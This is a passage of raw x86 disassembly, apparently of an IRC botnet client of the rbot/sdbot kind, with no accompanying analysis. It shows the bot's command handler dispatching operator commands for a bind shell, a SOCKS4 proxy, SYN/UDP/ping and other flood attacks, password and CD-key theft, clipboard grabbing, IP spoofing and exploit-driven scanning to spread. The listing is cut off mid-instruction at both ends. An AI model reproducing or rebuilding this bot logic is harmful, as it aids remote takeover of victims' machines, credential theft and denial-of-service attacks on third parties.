asc_42CA34 ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42CA34 ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42C674 loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C64C jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C630 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C614 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42C600 push offset dword_42C5F4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42C5D4 push offset dword_42C5C4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42C5B8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42C5AC push offset dword_42C5A0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42C58C push offset dword_42C580 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42C564 push offset dword_42C554 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42C538 push offset dword_42C528 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42C510 push offset dword_42C504 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C5AC push offset dword_42C5A0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42C58C push offset dword_42C580 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42C4EC push offset dword_42C4E0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42C4D4 push offset dword_42C4C8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42C538 push offset dword_42C528 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42C510 push offset dword_42C504 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42C4B8 push offset dword_42C4A8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42C498 push offset dword_42C488 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42C564 push offset dword_42C554 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42C454 push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42C4B8 push offset dword_42C4A8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42C498 push offset dword_42C488 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42C4EC push offset dword_42C4E0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42C4D4 push offset dword_42C4C8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C40C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C3BC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C398 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C378 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C2B4 jnz short loc_403191 mov eax, offset unk_42C28C loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C1CC push offset dword_42C1C0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C1BC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C1A8 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C174 call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C140 push eax mov dword_4CE728, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C098 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aScanall ; "scanall" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C024 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx call near ptr 266006Bh nop mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h nop call near ptr 2660000h jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j nop call near ptr 2660882h push eax push offset unk_42BFE8 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_4315F2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4315F2 jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42BFA8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431410, ebx mov [ebp+var_734], 4Bh mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431410 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431410[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB000 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D128 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF28 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h nop call near ptr 2660000h jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j nop call near ptr 2660882h push eax lea eax, [ebp+var_2C4] push offset unk_42BEEC push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42BEB4 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42BE94 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx call near ptr 2650000h nop loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42BE60 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 2660000h jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej nop call near ptr 2660882h push eax push offset unk_42BE24 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C43 push edi call sub_41B779 test eax, eax pop ecx jz short 